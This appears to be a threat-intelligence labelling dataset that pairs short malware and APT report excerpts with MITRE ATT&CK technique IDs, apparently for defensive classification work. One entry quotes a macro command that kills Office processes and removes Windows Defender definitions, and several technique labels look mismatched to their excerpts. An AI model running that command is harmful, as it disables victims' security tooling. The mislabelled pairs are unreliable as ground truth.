has a command to create, set, copy, or delete a specified Registry key or value.
MITRE ATT&CK techniques:
- T1112: Modify Registry
Threat description: 
tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy, and finally injecting code into a running browser if the proxy method fails.
MITRE ATT&CK techniques:
- T1008: Fallback Channels
Threat description: 
The second email references a Hong Kong University alumni organization that fears votes in a referendum to appoint a Vice-Chancellor will be co-opted by pro-Beijing interests.[9]  Figure 1: Lure Screenshots The group’s previous activities against financial and policy organizations have largely focused on spear phishing emails written in English, destined for Western audiences
MITRE ATT&CK techniques:
- T1113: Screen Capture
Threat description: 
When the malicious ISAPI filter captures a username matching this variable, it knows to handle the incoming HTTP request as a command to the web shell
MITRE ATT&CK techniques:
- T1033: System Owner/User Discovery
Threat description: 
scrapes memory for properly formatted payment card data.
MITRE ATT&CK techniques:
- T1005: Data from Local System
Threat description: 
searches for files on the victim's machine.
MITRE ATT&CK techniques:
- T1083: File and Directory Discovery
Threat description: 
A code comparison of hash 12c786c490366727cf7279fc141921d8 with hash 6de6a0df263ecd2d71a92597b2362f2c (from November 28, 2017).  Conclusion We have found what may be an early data-gathering stage for future possible heists from financial organizations in Turkey (and possibly other countries)
MITRE ATT&CK techniques:
- T1550.002: Use Alternate Authentication Material - Pass the Hash
Threat description: 
has the ability to search for a given process name in processes currently running in the system.
MITRE ATT&CK techniques:
- T1057: Process Discovery
Threat description: 
can SSH to a remote service.
MITRE ATT&CK techniques:
- T1021: Remote Services
Threat description: 
A  variant accesses a screenshot saved in the clipboard and converts it to a JPG image.
MITRE ATT&CK techniques:
- T1115: Clipboard Data
Threat description: 
FeedBack.php validates the sender by User-Agent, saves the data in the “RAR” server directory and stores the metadata in the mssql database for later reference
MITRE ATT&CK techniques:
- T1074: Data Staged
Threat description: 
Note that every string is decrypted with different XOR parameter which may fail some of the automatic analyzers.
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
Gather network addresses and operating system version Execute arbitrary commands using “cmd.exe /c”  The capability to execute system commands
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: 
Responds to the IRC server via PRIVMSG with “Download  Success :FilePath=<path to downloaded file>” or “Download Fail” if unsuccessful
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
uses a command prompt to run a PowerShell script from Excel.
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: 
has been known to dump credentials.
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
Threat description: 
uses custom encryption for C2 using 3DES and RSA.
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
Threat description: 
The fact that the actor used Metasploit shellcode within the Unicorn generated PowerShell script leads us to speculate that the ultimate payload of this attack is Meterpreter, which is a shellcode-based payload
MITRE ATT&CK techniques:
- T1064: Scripting
- T1059.001: Command and Scripting Interpreter - PowerShell
Threat description: 
It is believed that a patch management system for an anti-virus product commonly installed among targeted companies was used to distribute the  malware.
MITRE ATT&CK techniques:
- T1072: Software Deployment Tools
Threat description: 
The macro performs all of these activities with the following command:cmd /c taskkill /f /im winword.exe&taskkill /f /im Excel.exe&taskkill  /f /im MSPUB.exe&taskkill /f /im POWERPNT.EXE&taskkill /f /im  MSASCuiL.exe&taskkill /f /im MpCmdRun.exe&cd ""%ProgramFiles%\Windows  Defender"" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exitThe macro also attempts to deactivate security mechanisms within Microsoft Office products by modifying the registry
MITRE ATT&CK techniques:
- T1055.012: Process Injection - Process Hollowing
- T1036: Masquerading
- T1112: Modify Registry
Threat description: 
has collected data from remote systems by mounting network shares with net use and using Robocopy to transfer data.
MITRE ATT&CK techniques:
- T1039: Data from Network Shared Drive
Threat description: 
can upload and download files, including second-stage malware.
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
has a command to return a directory listing for a specified directory.
MITRE ATT&CK techniques:
- T1083: File and Directory Discovery
Threat description: 
It can be used to execute files as a different user, move, and delete files locally, schedule remote AT jobs, perform host discovery on connected networks, scan for open ports on hosts in a connected network, and retrieve information about the OS, users, groups, and shares on remote hosts
MITRE ATT&CK techniques:
- T1087: Account Discovery
- T1046: Network Service Discovery
Threat description: 
One sample in particular, cba5ab65a… used yet another unique user agent string in combination with the previous user agent for its C2: Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1 A malware sample using two separate unique user agent strings is uncommon
MITRE ATT&CK techniques:
- T1033: System Owner/User Discovery
- T1543.001: Create or Modify System Process - Launch Agent
Threat description: 
malware gathers system information via WMI, including the system directory, build number, serial number, version, manufacturer, model, and total physical memory.
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
has used CHM files to move concealed payloads as part of.
MITRE ATT&CK techniques:
- T1218.001: System Binary Proxy Execution - Compiled HTML File
Threat description: 
may query the Registry by running reg query on a victim.
MITRE ATT&CK techniques:
- T1012: Query Registry
Threat description: 
has sent spearphishing emails with password-protected RAR archives containing malicious Excel Web Query files (.iqy). The group has also sent spearphishing emails that contained malicious Microsoft Office documents that use the “attachedTemplate” technique to load a template from a remote server.
MITRE ATT&CK techniques:
- T1598.002: Phishing for Information - Spearphishing Attachment
Threat description: 
19-1 regsvr32 running the .dlls  Fig
MITRE ATT&CK techniques:
- T1218.010: System Binary Proxy Execution - Regsvr32
Threat description: 
uses a backdoor known as BADFLICK that is is capable of generating a reverse shell.
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: 
has dropped binaries as files named microsoft_network.exe and crome.exe.
MITRE ATT&CK techniques:
- T1036: Masquerading
Threat description: 
Figure 4: Downloading second stage Seminar.rtf The downloaded Seminar.rtf contains an embedded binary file that is dropped in %temp% via Equation Editor executable
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
HawkEye offers the following exfiltration options based on the configuration: email, FTP, SFTP, HTTP POST to PanelURL API or ProxyURL.As mentioned above, in the comments of the main loop section, it also comes with several anti-analysis features, including starting an anti-debugging thread or disabling certain AV-related programs via the Image File Execution Options (IFEO) evasion technique by registering invalid debuggers that redirect and effectively disable various system and security applications.The following diagram summarizes the full infection process:ConclusionRecent changes in both the ownership and development efforts of the HawkEye Reborn keylogger/stealer demonstrate that this is a threat that will continue to experience ongoing development and improvement moving forward
MITRE ATT&CK techniques:
- T1562.001: Impair Defenses - Disable or Modify Tools
- T1071: Application Layer Protocol
Threat description: 
has used valid accounts for privilege escalation.
MITRE ATT&CK techniques:
- T1078: Valid Accounts
Threat description: 
uses PowerShell to execute various commands, one to execute its payload.
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
Threat description: 
After data is collected by  malware, it is exfiltrated over the existing C2 channel.
MITRE ATT&CK techniques:
- T1041: Exfiltration Over C2 Channel
Threat description: 
kills antimalware running process.
MITRE ATT&CK techniques:
- T1562.001: Impair Defenses - Disable or Modify Tools
Threat description: 
The initial infection vector of this campaign is a Microsoft Office Excel Worksheet with an Office macro that uses the mshta.exe Windows executable to run scripts, which are embedded in the HTML of a specially-crafted blogspot.com page
MITRE ATT&CK techniques:
- T1598.002: Phishing for Information - Spearphishing Attachment
Threat description: 
has used HTTP and HTTPS for C2 communications.
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: 
The decrypted contents of the log file adhere to the format in Figure 22
MITRE ATT&CK techniques:
- T1140: Deobfuscate/Decode Files or Information
Threat description: 
Both variants need to be executed with the command line argument “[2]” to avoid continually attempting to copy and execute the Trojan using the “tmp.vbs” and “tmp1.vbs” files
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: 
has used FTP to exfiltrate collected data.
MITRE ATT&CK techniques:
- T1048: Exfiltration Over Alternative Protocol